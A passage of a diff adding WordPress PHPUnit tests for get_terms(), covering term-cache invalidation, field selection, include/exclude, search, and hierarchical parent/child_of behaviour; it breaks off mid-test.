+	public function test_get_terms_cache_should_be_missed_when_passing_number() {
+		global $wpdb;
+
+		$this->set_up_three_posts_and_tags();
+
+		// Prime cache
+		$terms = get_terms( 'post_tag' );
+		$time1 = wp_cache_get( 'last_changed', 'terms' );
+		$num_queries = $wpdb->num_queries;
+
+		// num_queries should bump, last_changed should remain the same.
+		$terms = get_terms( 'post_tag', array( 'number' => 2 ) );
+		$this->assertEquals( 2, count( $terms ) );
+		$this->assertEquals( $time1, wp_cache_get( 'last_changed', 'terms' ) );
+		$this->assertEquals( $num_queries + 1, $wpdb->num_queries );
+
+		$num_queries = $wpdb->num_queries;
+
+		// Again. last_changed and num_queries should remain the same.
+		$terms = get_terms( 'post_tag', array( 'number' => 2 ) );
+		$this->assertEquals( 2, count( $terms ) );
+		$this->assertEquals( $time1, wp_cache_get( 'last_changed', 'terms' ) );
+		$this->assertEquals( $num_queries, $wpdb->num_queries );
+	}
+
+	/**
+	 * @ticket 23326
+	 */
+	public function test_wp_delete_term_should_invalidate_cache() {
+		global $wpdb;
+
+		$this->set_up_three_posts_and_tags();
+
+		// Prime cache
+		$terms = get_terms( 'post_tag' );
+		$time1 = wp_cache_get( 'last_changed', 'terms' );
+		$num_queries = $wpdb->num_queries;
+
+		// Force last_changed to bump.
+		wp_delete_term( $terms[0]->term_id, 'post_tag' );
+
+		$num_queries = $wpdb->num_queries;
+		$this->assertNotEquals( $time1, $time2 = wp_cache_get( 'last_changed', 'terms' ) );
+
+		// last_changed and num_queries should bump after a term is deleted.
+		$terms = get_terms( 'post_tag' );
+		$this->assertEquals( 2, count( $terms ) );
+		$this->assertEquals( $time2, wp_cache_get( 'last_changed', 'terms' ) );
+		$this->assertEquals( $num_queries + 1, $wpdb->num_queries );
+
+		$num_queries = $wpdb->num_queries;
+
+		// Again. last_changed and num_queries should remain the same.
+		$terms = get_terms( 'post_tag' );
+		$this->assertEquals( 2, count( $terms ) );
+		$this->assertEquals( $time2, wp_cache_get( 'last_changed', 'terms' ) );
+		$this->assertEquals( $num_queries, $wpdb->num_queries );
+
+		// @todo Repeat with term insert and update.
+	}
+
+	/**
+	 * @ticket 23506
+	 */
+	function test_get_terms_should_allow_arbitrary_indexed_taxonomies_array() {
+		$term_id = $this->factory->tag->create();
+		$terms = get_terms( array( '111' => 'post_tag' ), array( 'hide_empty' => false ) );
+		$this->assertEquals( $term_id, reset( $terms )->term_id );
+	}
+
+	/**
+	 * @ticket 13661
+	 */
+	function test_get_terms_fields() {
+		$term_id1 = $this->factory->tag->create( array( 'slug' => 'woo', 'name' => 'WOO!' ) );
+		$term_id2 = $this->factory->tag->create( array( 'slug' => 'hoo', 'name' => 'HOO!', 'parent' => $term_id1 ) );
+
+		$terms_id_parent = get_terms( 'post_tag', array( 'hide_empty' => false, 'fields' => 'id=>parent' ) );
+		$this->assertEquals( array(
+			$term_id1 => 0,
+			$term_id2 => $term_id1
+		), $terms_id_parent );
+
+		$terms_ids = get_terms( 'post_tag', array( 'hide_empty' => false, 'fields' => 'ids' ) );
+		$this->assertEqualSets( array( $term_id1, $term_id2 ), $terms_ids );
+
+		$terms_name = get_terms( 'post_tag', array( 'hide_empty' => false, 'fields' => 'names' ) );
+		$this->assertEqualSets( array( 'WOO!', 'HOO!' ), $terms_name );
+
+		$terms_id_name = get_terms( 'post_tag', array( 'hide_empty' => false, 'fields' => 'id=>name' ) );
+		$this->assertEquals( array(
+			$term_id1 => 'WOO!',
+			$term_id2 => 'HOO!',
+		), $terms_id_name );
+
+		$terms_id_slug = get_terms( 'post_tag', array( 'hide_empty' => false, 'fields' => 'id=>slug' ) );
+		$this->assertEquals( array(
+			$term_id1 => 'woo',
+			$term_id2 => 'hoo'
+		), $terms_id_slug );
+	}
+
+ 	/**
+	 * @ticket 11823
+ 	 */
+	function test_get_terms_include_exclude() {
+		global $wpdb;
+
+		$term_id1 = $this->factory->tag->create();
+		$term_id2 = $this->factory->tag->create();
+		$inc_terms = get_terms( 'post_tag', array(
+			'include' => array( $term_id1, $term_id2 ),
+			'hide_empty' => false
+		) );
+		$this->assertEquals( array( $term_id1, $term_id2 ), wp_list_pluck( $inc_terms, 'term_id' ) );
+
+		$exc_terms = get_terms( 'post_tag', array(
+			'exclude' => array( $term_id1, $term_id2 ),
+			'hide_empty' => false
+		) );
+		$this->assertEquals( array(), wp_list_pluck( $exc_terms, 'term_id' ) );
+
+		// These should not generate query errors.
+		get_terms( 'post_tag', array( 'exclude' => array( 0 ), 'hide_empty' => false ) );
+		$this->assertEmpty( $wpdb->last_error );
+
+		get_terms( 'post_tag', array( 'exclude' => array( 'unexpected-string' ), 'hide_empty' => false ) );
+		$this->assertEmpty( $wpdb->last_error );
+
+		get_terms( 'post_tag', array( 'include' => array( 'unexpected-string' ), 'hide_empty' => false ) );
+		$this->assertEmpty( $wpdb->last_error );
+	}
+
+	/**
+	 * @ticket 30275
+	 */
+	public function test_exclude_with_hierarchical_true_for_non_hierarchical_taxonomy() {
+		register_taxonomy( 'wptests_tax', 'post' );
+
+		$terms = $this->factory->term->create_many( 2, array(
+			'taxonomy' => 'wptests_tax',
+		) );
+
+		$found = get_terms( 'wptests_tax', array(
+			'taxonomy' => 'wptests_tax',
+			'hide_empty' => false,
+			'exclude_tree' => array( $terms[0] ),
+			'hierarchical' => true,
+		) );
+
+		$this->assertEquals( array( $terms[1] ), wp_list_pluck( $found, 'term_id' ) );
+
+		_unregister_taxonomy( 'wptests_tax' );
+	}
+
+	/**
+	 * @ticket 25710
+	 */
+	function test_get_terms_exclude_tree() {
+
+		$term_id_uncategorized = get_option( 'default_category' );
+
+		$term_id1 = $this->factory->category->create();
+		$term_id11 = $this->factory->category->create( array( 'parent' => $term_id1 ) );
+		$term_id2 = $this->factory->category->create();
+		$term_id22 = $this->factory->category->create( array( 'parent' => $term_id2 ) );
+
+		$terms = get_terms( 'category', array(
+			'exclude' => $term_id_uncategorized,
+			'fields' => 'ids',
+			'hide_empty' => false,
+		) );
+		$this->assertEquals( array( $term_id1, $term_id11, $term_id2, $term_id22 ), $terms );
+
+		$terms = get_terms( 'category', array(
+			'fields' => 'ids',
+			'exclude_tree' => "$term_id1,$term_id_uncategorized",
+			'hide_empty' => false,
+		) );
+
+		$this->assertEquals( array( $term_id2, $term_id22 ), $terms );
+
+	}
+
+	/**
+	 * @ticket 13992
+	 */
+	function test_get_terms_search() {
+		$term_id1 = $this->factory->tag->create( array( 'slug' => 'burrito' ) );
+		$term_id2 = $this->factory->tag->create( array( 'name' => 'Wilbur' ) );
+
+		$terms = get_terms( 'post_tag', array( 'hide_empty' => false, 'search' => 'bur', 'fields' => 'ids' ) );
+		$this->assertEqualSets( array( $term_id1, $term_id2 ), $terms );
+	}
+
+	/**
+	 * @ticket 8214
+	 */
+	function test_get_terms_like() {
+		$term_id1 = $this->factory->tag->create( array( 'name' => 'burrito', 'description' => 'This is a burrito.' ) );
+		$term_id2 = $this->factory->tag->create( array( 'name' => 'taco', 'description' => 'Burning man.' ) );
+
+		$terms = get_terms( 'post_tag', array( 'hide_empty' => false, 'name__like' => 'bur', 'fields' => 'ids' ) );
+		$this->assertEqualSets( array( $term_id1 ), $terms );
+
+		$terms2 = get_terms( 'post_tag', array( 'hide_empty' => false, 'description__like' => 'bur', 'fields' => 'ids' ) );
+		$this->assertEqualSets( array( $term_id1, $term_id2 ), $terms2 );
+
+		$terms3 = get_terms( 'post_tag', array( 'hide_empty' => false, 'name__like' => 'Bur', 'fields' => 'ids' ) );
+		$this->assertEqualSets( array( $term_id1 ), $terms3 );
+
+		$terms4 = get_terms( 'post_tag', array( 'hide_empty' => false, 'description__like' => 'Bur', 'fields' => 'ids' ) );
+		$this->assertEqualSets( array( $term_id1, $term_id2 ), $terms4 );
+
+		$terms5 = get_terms( 'post_tag', array( 'hide_empty' => false, 'name__like' => 'ENCHILADA', 'fields' => 'ids' ) );
+		$this->assertEmpty( $terms5 );
+
+		$terms6 = get_terms( 'post_tag', array( 'hide_empty' => false, 'description__like' => 'ENCHILADA', 'fields' => 'ids' ) );
+		$this->assertEmpty( $terms6 );
+
+		$terms7 = get_terms( 'post_tag', array( 'hide_empty' => false, 'name__like' => 'o', 'fields' => 'ids' ) );
+		$this->assertEqualSets( array( $term_id1, $term_id2 ), $terms7 );
+
+		$terms8 = get_terms( 'post_tag', array( 'hide_empty' => false, 'description__like' => '.', 'fields' => 'ids' ) );
+		$this->assertEqualSets( array( $term_id1, $term_id2 ), $terms8 );
+	}
+
+	/**
+	 * @ticket 26903
+	 */
+	function test_get_terms_parent_zero() {
+		$tax = 'food';
+		register_taxonomy( $tax, 'post', array( 'hierarchical' => true ) );
+
+		$cheese = $this->factory->term->create( array( 'name' => 'Cheese', 'taxonomy' => $tax ) );
+
+		$cheddar = $this->factory->term->create( array( 'name' => 'Cheddar', 'parent' => $cheese, 'taxonomy' => $tax ) );
+
+		$post_ids = $this->factory->post->create_many( 2 );
+		foreach ( $post_ids as $id ) {
+			wp_set_post_terms( $id, $cheddar, $tax );
+		}
+		$term = get_term( $cheddar, $tax );
+		$this->assertEquals( 2, $term->count );
+
+		$brie = $this->factory->term->create( array( 'name' => 'Brie', 'parent' => $cheese, 'taxonomy' => $tax ) );
+		$post_ids = $this->factory->post->create_many( 7 );
+		foreach ( $post_ids as $id ) {
+			wp_set_post_terms( $id, $brie, $tax );
+		}
+		$term = get_term( $brie, $tax );
+		$this->assertEquals( 7, $term->count );
+
+		$crackers = $this->factory->term->create( array( 'name' => 'Crackers', 'taxonomy' => $tax ) );
+
+		$butter = $this->factory->term->create( array( 'name' => 'Butter', 'parent' => $crackers, 'taxonomy' => $tax ) );
+		$post_ids = $this->factory->post->create_many( 1 );
+		foreach ( $post_ids as $id ) {
+			wp_set_post_terms( $id, $butter, $tax );
+		}
+		$term = get_term( $butter, $tax );
+		$this->assertEquals( 1, $term->count );
+
+		$multigrain = $this->factory->term->create( array( 'name' => 'Multigrain', 'parent' => $crackers, 'taxonomy' => $tax ) );
+		$post_ids = $this->factory->post->create_many( 3 );
+		foreach ( $post_ids as $id ) {
+			wp_set_post_terms( $id, $multigrain, $tax );
+		}
+		$term = get_term( $multigrain, $tax );
+		$this->assertEquals( 3, $term->count );
+
+		$fruit = $this->factory->term->create( array( 'name' => 'Fruit', 'taxonomy' => $tax ) );
+		$cranberries = $this->factory->term->create( array( 'name' => 'Cranberries', 'parent' => $fruit, 'taxonomy' => $tax ) );
+
+		$terms = get_terms( $tax, array( 'parent' => 0, 'cache_domain' => $tax ) );
+		$this->assertEquals( 2, count( $terms ) );
+		$this->assertEquals( wp_list_pluck( $terms, 'name' ), array( 'Cheese', 'Crackers' ) );
+	}
+
+	/**
+	 * @ticket 26903
+	 */
+	function test_get_terms_grandparent_zero() {
+		$tax = 'food';
+		register_taxonomy( $tax, 'post', array( 'hierarchical' => true ) );
+
+		$cheese = $this->factory->term->create( array( 'name' => 'Cheese', 'taxonomy' => $tax ) );
+		$cheddar = $this->factory->term->create( array( 'name' => 'Cheddar', 'parent' => $cheese, 'taxonomy' => $tax ) );
+		$spread = $this->factory->term->create( array( 'name' => 'Spread', 'parent' => $cheddar, 'taxonomy' => $tax ) );
+		$post_id = $this->factory->post->create();
+		wp_set_post_terms( $post_id, $spread, $tax );
+		$term = get_term( $spread, $tax );
+		$this->assertEquals( 1, $term->count );
+
+		$terms = get_terms( $tax, array( 'parent' => 0, 'cache_domain' => $tax ) );
+		$this->assertEquals( 1, count( $terms ) );
+		$this->assertEquals( array( 'Cheese' ), wp_list_pluck( $terms, 'name' ) );
+
+		_unregister_taxonomy( $tax );
+	}
+
+	/**
+	 * @ticket 26903
+	 */
+	function test_get_terms_seven_levels_deep() {
+		$tax = 'deep';
+		register_taxonomy( $tax, 'post', array( 'hierarchical' => true ) );
+		$parent = 0;
+		$t = array();
+		foreach ( range( 1, 7 ) as $depth ) {
+			$t[$depth] = $this->factory->term->create( array( 'name' => 'term' . $depth, 'taxonomy' => $tax, 'parent' => $parent ) );
+			$parent = $t[$depth];
+		}
+		$post_id = $this->factory->post->create();
+		wp_set_post_terms( $post_id, $t[7], $tax );
+		$term = get_term( $t[7], $tax );
+		$this->assertEquals( 1, $term->count );
+
+		$terms = get_terms( $tax, array( 'parent' => 0, 'cache_domain' => $tax ) );
+		$this->assertEquals( 1, count( $terms ) );
+		$this->assertEquals( array( 'term1' ), wp_list_pluck( $terms, 'name' ) );
+
+		_unregister_taxonomy( $tax );
+	}
+
+	/**
+	 * @ticket 27123
+	 */
+	function test_get_terms_child_of() {
+		$parent = $this->factory->category->create();
+		$child = $this->factory->category->create( array( 'parent' => $parent ) );
+
+		$terms = get_terms( 'category', array( 'child_of' => $parent, 'hide_empty' => false ) );
+		$this->assertEquals( 1, count( $terms ) );
+	}
+
+	/**
+	 * @ticket 27123
+	 */
+	function test_get_term_children_recursion() {
+		// Assume there is a way to insert a term with the parent pointing to itself
+		// See: https://core.trac.wordpress.org/changeset/15806
+		remove_filter( 'wp_update_term_parent', 'wp_check_term_hierarchy_for_loops', 10 );
+
+		$term = wp_insert_term( 'Test', 'category' );
+		$term = wp_update_term( $term['term_id'], 'category', array( 'parent' => $term['term_id'] ) );
+		$term = get_term( $term['term_id'], 'category' );
+
+		$this->assertEquals( $term->term_id, $term->parent );
+		$this->assertInternalType( 'array', get_term_children( $term->term_id, 'category' ) );
+
+		add_filter( 'wp_update_term_parent', 'wp_check_term_hierarchy_for_loops', 10, 3 );
+	}
+
+	public function test_get_terms_by_slug() {
+		$t1 = $this->factory->tag->create( array( 'slug' => 'foo' ) );
+		$t2 = $this->factory->tag->create( array( 'slug' => 'bar' ) );
+
+		$found = get_terms( 'post_tag', array(
+			'hide_empty' => false,
+			'fields' => 'ids',
+			'slug' => 'foo',
+		) );
+
+		$this->assertEquals( array( $t1 ), $found );
+	}
+
+	/**
+	 * @ticket 23636
+	 */
+	public function test_get_terms_by_multiple_slugs() {
+		$t1 = $this->factory->tag->create( array( 'slug' => 'foo' ) );
+		$t2 = $this->factory->tag->create( array( 'slug' => 'bar' ) );
+		$t3 = $this->factory->tag->create( array( 'slug' => 'barry' ) );
+
+		$found = get_terms( 'post_tag', array(
+			'hide_empty' => false,
+			'fields' => 'ids',
+			'slug' => array( 'foo', 'barry' )
+		) );
+
+		$this->assertEquals( array( $t1, $t3 ), $found );
+	}
+
+	public function test_get_terms_hierarchical_tax_hide_empty_false_fields_ids() {
+		// Set up a clean taxonomy.
+		$tax = 'hierarchical_fields';
+		register_taxonomy( $tax, 'post', array( 'hierarchical' => true ) );
+
+		$terms = $this->create_hierarchical_terms_and_posts();
+
+		$found = get_terms( $tax, array(
+			'hide_empty' => false,
+			'fields' => 'ids',
+		) );
+
+		$expected = array(
+			$terms['parent1'],
+			$terms['parent2'],
+			$terms['child1'],
+			$terms['child2'],
+			$terms['grandchild1'],
+		);
+
+		_unregister_taxonomy( 'hierarchical_fields' );
+
+		$this->assertEqualSets( $expected, $found );
+	}
+
+	public function test_get_terms_hierarchical_tax_hide_empty_true_fields_ids() {
+		// Set up a clean taxonomy.
+		$tax = 'hierarchical_fields';
+		register_taxonomy( $tax, 'post', array( 'hierarchical' => true ) );
+
+		$terms = $this->create_hierarchical_terms_and_posts();
+
+		$found = get_terms( $tax, array(
+			'hide_empty' => true,
+			'fields' => 'ids',
+		) );
+
+		$expected = array(
+			$terms['parent1'],
+			$terms['parent2'],
+			$terms['child1'],
+		);
+
+		_unregister_taxonomy( 'hierarchical_fields' );
+
+		$this->assertEqualSets( $expected, $found );
+	}
+
+	public function test_get_terms_hierarchical_tax_hide_empty_true_fields_ids_hierarchical_false() {
+		// Set up a clean taxonomy.
+		$tax = 'hierarchical_fields';
+		register_taxonomy( $tax, 'post', array( 'hierarchical' => true ) );
+
+		$terms = $this->create_hierarchical_terms_and_posts();
+
+		$found = get_terms( $tax, array(
+			'hide_empty' => true,
+			'fields' => 'ids',
+			'hierarchical' => false,
+		) );
+
+		$expected = array(
+			$terms['parent2'],
+			$terms['child1'],
+		);
+
+		_unregister_taxonomy( 'hierarchical_fields' );
+
+		$this->assertEqualSets( $expected, $found );
+	}
+
+	public function test_get_terms_hierarchical_tax_hide_empty_false_fields_names() {
+		// Set up a clean taxonomy.
+		$tax = 'hierarchical_fields';
+		register_taxonomy( $tax, 'post', array( 'hierarchical' => true ) );
+
+		$terms = $this->create_hierarchical_terms_and_posts();
+
+		$found = get_terms( $tax, array(
+			'hide_empty' => false,
+			'fields' => 'names',
+		) );
+
+		$expected = array(
+			'Parent 1',
+			'Parent 2',
+			'Child 1',
+			'Child 2',
+			'Grandchild 1',
+		);
+
+		_unregister_taxonomy( 'hierarchical_fields' );
+
+		$this->assertEqualSets( $expected, $found );
+	}
+
+	public function test_get_terms_hierarchical_tax_hide_empty_true_fields_names() {
+		// Set up a clean taxonomy.
+		$tax = 'hierarchical_fields';
+		register_taxonomy( $tax, 'post', array( 'hierarchical' => true ) );
+
+		$terms = $this->create_hierarchical_terms_and_posts();
+
+		$found = get_terms( $tax, array(
+			'hide_empty' => true,
+			'fields' => 'names',
+		) );
+
+		$expected = array(
+			'Parent 1',
+			'Parent 2',
+			'Child 1',
+		);
+
+		_unregister_taxonomy( 'hierarchical_fields' );
+
+		$this->assertEqualSets( $expected, $found );
+	}
+
+	public function test_get_terms_hierarchical_tax_hide_empty_true_fields_names_hierarchical_false() {
+		// Set up a clean taxonomy.
+		$tax = 'hierarchical_fields';
+		register_taxonomy( $tax, 'post', array( 'hierarchical' => true ) );
+
+		$terms = $this->create_hierarchical_terms_and_posts();
+
+		$found = get_terms( $tax, array(
+			'hide_empty' => true,
+			'fields' => 'names',
+			'hierarchical' => false,
+		) );
+
+		$expected = array(
+			'Parent 2',
+			'Child 1',
+		);
+
+		_unregister_taxonomy( 'hierarchical_fields' );
+
+		$this->assertEqualSets( $expected, $found );
+	}
+
+	public function test_get_terms_hierarchical_tax_hide_empty_false_fields_count() {
+		// Set up a clean taxonomy.
+		$tax = 'hierarchical_fields';
+		register_taxonomy( $tax, 'post', array( 'hierarchical' => true ) );
+
+		$terms = $this->create_hierarchical_terms_and_posts();
+
+		$found = get_terms( $tax, array(
+			'hide_empty' => false,
+			'fields' => 'count',
+		) );
+
+		_unregister_taxonomy( 'hierarchical_fields' );
+
+		$this->assertEquals( 5, $found );
+	}
+
+	public function test_get_terms_hierarchical_tax_hide_empty_true_fields_count() {
+		// Set up a clean taxonomy.
+		$tax = 'hierarchical_fields';
+		register_taxonomy( $tax, 'post', array( 'hierarchical' => true ) );
+
+		$terms = $this->create_hierarchical_terms_and_posts();
+
+		$found = get_terms( $tax, array(
+			'hide_empty' => true,
+			'fields' => 'count',
+		) );
+
+		_unregister_taxonomy( 'hierarchical_fields' );
+
+		// When using 'fields=count', 'hierarchical' is forced to false.
+		$this->assertEquals( 2, $found );
+	}
+
+	public function test_get_terms_hierarchical_tax_hide_empty_true_fields_count_hierarchical_false() {
+		// Set up a clean taxonomy.
+		$tax = 'hierarchical_fields';
+		register_taxonomy( $tax, 'post', array( 'hierarchical' => true ) );
+
+		$terms = $this->create_hierarchical_terms_and_posts();
+
+		$found = get_terms( $tax, array(
+			'hide_empty' => true,
+			'fields' => 'count',
+			'hierarchical' => false,
+		) );
+
+		_unregister_taxonomy( 'hierarchical_fields' );
+
+		$this->assertEquals( 2, $found );
+	}
+
+	public function test_get_terms_hierarchical_tax_hide_empty_false_fields_idparent() {
+		// Set up a clean taxonomy.
+		$tax = 'hierarchical_fields';
+		register_taxonomy( $tax, 'post', array( 'hierarchical' => true ) );
+
+		$terms = $this->create_hierarchical_terms_and_posts();
+
+		$found = get_terms( $tax, array(
+			'hide_empty' => false,
+			'fields' => 'id=>parent',
+		) );
+
+		$expected = array(
+			$terms['parent1'] => 0,
+			$terms['parent2'] => 0,
+			$terms['child1'] => $terms['parent1'],
+			$terms['child2'] => $terms['parent1'],
+			$terms['grandchild1'] => $terms['child1'],
+		);
+
+		_unregister_taxonomy( 'hierarchical_fields' );
+
+		$this->assertEqualSetsWithIndex( $expected, $found );
+	}
+
+	public function test_get_terms_hierarchical_tax_hide_empty_true_fields_idparent() {
+		// Set up a clean taxonomy.
+		$tax = 'hierarchical_fields';
+		register_taxonomy( $tax, 'post', array( 'hierarchical' => true ) );
+
+		$terms = $this->create_hierarchical_terms_and_posts();
+
+		$found = get_terms( $tax, array(
+			'hide_empty' => true,
+			'fields' => 'id=>parent',
+		) );
+
+		$expected = array(
+			$terms['parent1'] => 0,
+			$terms['parent2'] => 0,
+			$terms['child1'] => $terms['parent1'],
+		);
+
+		_unregister_taxonomy( 'hierarchical_fields' );
+
+		$this->assertEqualSetsWithIndex( $expected, $found );
+	}
+
+	public function test_get_terms_hierarchical_tax_hide_empty_true_fields_idparent_hierarchical_false() {
+		// Set up a clean taxonomy.
+		$tax = 'hierarchical_fields';
+		register_taxonomy( $tax, 'post', array( 'hierarchical' => true ) );
+
+		$terms = $this->create_hierarchical_terms_and_posts();
+
+		$found = get_terms( $tax, array(
+			'hide_empty' => true,
+			'fields' => 'id=>parent',
+			'hierarchical' => false,
+		) );
+
+		$expected = array(
+			$terms['parent2'] => 0,
+			$terms['child1'] => $terms['parent1'],
+		);
+
+		_unregister_taxonomy( 'hierarchical_fields' );
+
+		$this->assertEqualSetsWithIndex( $expected, $found );
+	}
+
+	public function test_get_terms_hierarchical_tax_hide_empty_false_fields_idslug() {
+		// Set up a clean taxonomy.
+		$tax = 'hierarchical_fields';
+		register_taxonomy( $tax, 'post', array( 'hierarchical' => true ) );
+
+		$terms = $this->create_hierarchical_terms_and_posts();
+
+		$found = get_terms( $tax, array(
+			'hide_empty' => false,
+			'fields' => 'id=>slug',
+		) );
+
+		$expected = array(
+			$terms['parent1'] => 'parent-1',
+			$terms['parent2'] => 'parent-2',
+			$terms['child1'] => 'child-1',
+			$terms['child2'] => 'child-2',
+			$terms['grandchild1'] => 'grandchild-1',
+		);
+
+		_unregister_taxonomy( 'hierarchical_fields' );
+
+		$this->assertEqualSetsWithIndex( $expected, $found );
+	}
+
+	/**
+	 * @ticket 29859
+	 */
+	public function test_get_terms_hierarchical_tax_hide_empty_true_fields_idslug() {
+		// Set up a clean taxonomy.
+		$tax = 'hierarchical_fields';
+		register_taxonomy( $tax, 'post', array( 'hierarchical' => true ) );
+
+		$terms = $this->create_hierarchical_terms_and_posts();
+
+		$found = get_terms( $tax, array(
+			'hide_empty' => true,
+			'fields' => 'id=>slug',
+		) );
+
+		$expected = array(
+			$terms['parent1'] => 'parent-1',
+			$terms['parent2'] => 'parent-2',
+			$terms['child1'] => 'child-1',
+		);
+
+		_unregister_taxonomy( 'hierarchical_fields' );
+
+		$this->assertEqualSetsWithIndex( $expected, $found );
+	}
+
+	public function test_get_terms_hierarchical_tax_hide_empty_true_fields_idslug_hierarchical_false() {
+		// Set up a clean taxonomy.
+		$tax = 'hierarchical_fields';
+		register_taxonomy( $tax, 'post', array( 'hierarchical' => true ) );
+
+		$terms = $this->create_hierarchical_terms_and_posts();
+
+		$found = get_terms( $tax, array(
+			'hide_empty' => true,
+			'fields' => 'id=>slug',
+			'hierarchical' => false,
+		) );
+
+		$expected = array(
+			$terms['parent2'] => 'parent-2',
+			$terms['child1'] => 'child-1',
+		);
+
+		_unregister_taxonomy( 'hierarchical_fields' );
+
+		$this->assertEqualSetsWithIndex( $expected, $found );
+	}
+
+	public function test_get_terms_hierarchical_tax_hide_empty_false_fields_idname() {
+		// Set up a clean taxonomy.
+		$tax = 'hierarchical_fields';
+		register_taxonomy( $tax, 'post', array( 'hierarchical' => true ) );
+
+		$terms = $this->create_hierarchical_terms_and_posts();
+
+		$found = get_terms( $tax, array(
+			'hide_empty' => false,
+			'fields' => 'id=>name',
+		) );
+
+		$expected = array(
+			$terms['parent1'] => 'Parent 1',
+			$terms['parent2'] => 'Parent 2',
+			$terms['child1'] => 'Child 1',
+			$terms['child2'] => 'Child 2',
+			$terms['grandchild1'] => 'Grandchild 1',
+		);
+
+		_unregister_taxonomy( 'hierarchical_fields' );
+
+		$this->assertEqualSetsWithIndex( $expected, $found );
+	}
+
+	/**
+	 * @ticket 29859
+	 */
+	public function test_get_terms_hierarchical_tax_hide_empty_true_fields_idname() {
+		// Set up a clean taxonomy.
+		$tax = 'hierarchical_fields';
+		register_taxonomy( $tax, 'post', array( 'hierarchical' => true ) );
+
+		$terms = $this->create_hierarchical_terms_and_posts();
+
+		$found = get_terms( $tax, array(
+			'hide_empty' => true,
+			'fields' => 'id=>name',
+		) );
+
+		$expected = array(
+			$terms['parent1'] => 'Parent 1',
+			$terms['parent2'] => 'Parent 2',
+			$terms['child1'] => 'Child 1',
+		);
+
+		_unregister_taxonomy( 'hierarchical_fields' );
+
+		$this->assertEqualSetsWithIndex( $expected, $found );
+	}
+
+	public function test_get_terms_hierarchical_tax_hide_empty_true_fields_idname_hierarchical_false() {
+		// Set up a clean taxonomy.
+		$tax = 'hierarchical_fields';
+		register_taxonomy( $tax, 'post', array( 'hierarchical' => true ) );
+
+		$terms = $this->create_hierarchical_terms_and_posts();
+
+		$found = get_terms( $tax, array(
+			'hide_empty' => true,
+			'fields' => 'id=>name',
+			'hierarchical' => false,
+		) );
+
+		$expected = array(
+			$terms['parent2'] => 'Parent 2',
+			$terms['child1'] => 'Child 1',
+		);
+
+		_unregister_taxonomy( 'hierarchical_fields' );
+
+		$this->assertEqualSetsWithIndex( $expected, $found );
+	}
+
+	/**
+	 * @ticket 23261
+	 */
+	public function test_orderby_include() {
+		$tax = 'wptests_tax';
+		register_taxonomy( $tax, 'post' );
+
+		$t1 = $this->factory->term->create( array( 'taxonomy' => $tax ) );
+		$t2 = $this->factory->term->create( array( 'taxonomy' => $tax ) );
+		$t3 = $this->factory->term->create( array( 'taxonomy' => $tax ) );
+		$t4 = $this->factory->term->create( array( 'taxonomy' => $tax ) );
+
+		$found = get_terms( $tax, array(
+			'fields' => 'ids',
+			'include' => array( $t4, $t1, $t2 ),
+			'orderby' => 'include',
+			'hide_empty' => false,
+		) );
+
+		_unregister_taxonomy( 'wptests_tax' );
+
+		$this->assertEquals( array( $t4, $t1, $t2 ), $found );
+	}
+
+	public function test_hierarchical_false_with_parent() {
+		$initial_terms = $this->create_hierarchical_terms();
+
+		// Case where hierarchical is false
+		$terms = get_terms( 'category', array(
+			'hierarchical' => false,
+			'parent' => $initial_terms['one_term']['term_id']
+		) );
+
+		// Verify that there are no children
+		$this->assertEquals( 0, count( $terms ) );
+	}
+
+	/**
+	 * @ticket 29185
+	 */
+	public function test_hierarchical_true_with_parent() {
+		$initial_terms = $this->create_hierarchical_terms();
+
+		// Case where hierarchical is true
+		$terms = get_terms( 'category', array(
+			'hierarchical' => true,
+			'parent' => $initial_terms['one_term']['term_id']
+		) );
+
+		// Verify that the children with non-empty descendants are returned
+		$expected = array(
+			$initial_terms['two_term']['term_id'],
+			$initial_terms['five_term']['term_id'],
+		);
+		$actual = wp_list_pluck( $terms, 'term_id' );
+		$this->assertEqualSets( $expected, $actual );
+	}
+
+	public function test_hierarchical_false_with_child_of_and_direct_child() {
+		$initial_terms = $this->create_hierarchical_terms();
+		$post_id = $this->factory->post->create();
+		wp_set_post_terms(
+			$post_id,
+			array( $initial_terms['seven_term']['term_id'] ),
+			'category'
+		);
+
+		// Case where hierarchical is false
+		$terms = get_terms( 'category', array(
+			'hierarchical' => false,
+			'child_of' => $initial_terms['one_term']['term_id']
+		) );
+
+		$expected = array(
+			$initial_terms['seven_term']['term_id'],
+		);
+
+		$actual = wp_list_pluck( $terms, 'term_id' );
+		$this->assertEqualSets( $expected, $actual );
+	}
+
+	public function test_hierarchical_false_with_child_of_should_not_return_grandchildren() {
+		$initial_terms = $this->create_hierarchical_terms();
+
+		// Case where hierarchical is false
+		$terms = get_terms( 'category', array(
+			'hierarchical' => false,
+			'child_of' => $initial_terms['one_term']['term_id']
+		) );
+
+		// Verify that there are no children
+		$this->assertEquals( 0, count( $terms ) );
+	}
+
+	public function test_hierarchical_true_with_child_of_should_return_grandchildren() {
+		$initial_terms = $this->create_hierarchical_terms();
+
+		// Case where hierarchical is true
+		$terms = get_terms( 'category', array(
+			'hierarchical' => true,
+			'child_of' => $initial_terms['one_term']['term_id']
+		) );
+
+		$expected = array(
+			$initial_terms['two_term']['term_id'],
+			$initial_terms['three_term']['term_id'],
+			$initial_terms['five_term']['term_id'],
+			$initial_terms['six_term']['term_id'],
+		);
+		$actual = wp_list_pluck( $terms, 'term_id' );
+		$this->assertEqualSets( $expected, $actual );
+	}
+
+	public function test_parent_should_override_child_of() {
+		$initial_terms = $this->create_hierarchical_terms();
+
+		$terms = get_terms( 'category', array(
+			'hide_empty' => false,
+			'child_of' => $initial_terms['one_term']['term_id'],
+			'parent' => $initial_terms['one_term']['term_id']
+		) );
+
+		// Verify that parent takes precedence over child_of and returns only direct children.
+		$expected = array(
+			$initial_terms['two_term']['term_id'],
+			$initial_terms['five_term']['term_id'],
+			$initial_terms['seven_term']['term_id']
+		);
+		$actual = wp_list_pluck( $terms, 'term_id' );
+		$this->assertEqualSets( $expected, $actual );
+	}
+
+	public function test_hierarchical_false_parent_should_override_child_of() {
+		$initial_terms = $this->create_hierarchical_terms();
+
+		// Case where hierarchical is false
+		$terms = get_terms( 'category', array(
+			'hierarchical' => false,
+			'child_of' => $initial_terms['one_term']['term_id'],
+			'parent' => $initial_terms['one_term']['term_id']
+		) );
+
+		// hierarchical=false means that descendants are not fetched.
+		$this->assertEquals( 0, count( $terms ) );
+	}
+
+	/**
+	 * @ticket 29185
+	 */
+	public function test_hierarchical_true_parent_overrides_child_of() {
+		$initial_terms = $this->create_hierarchical_terms();
+
+		// Case where hierarchical is true
+		$terms = get_terms( 'category', array(
+			'hierarchical' => true,
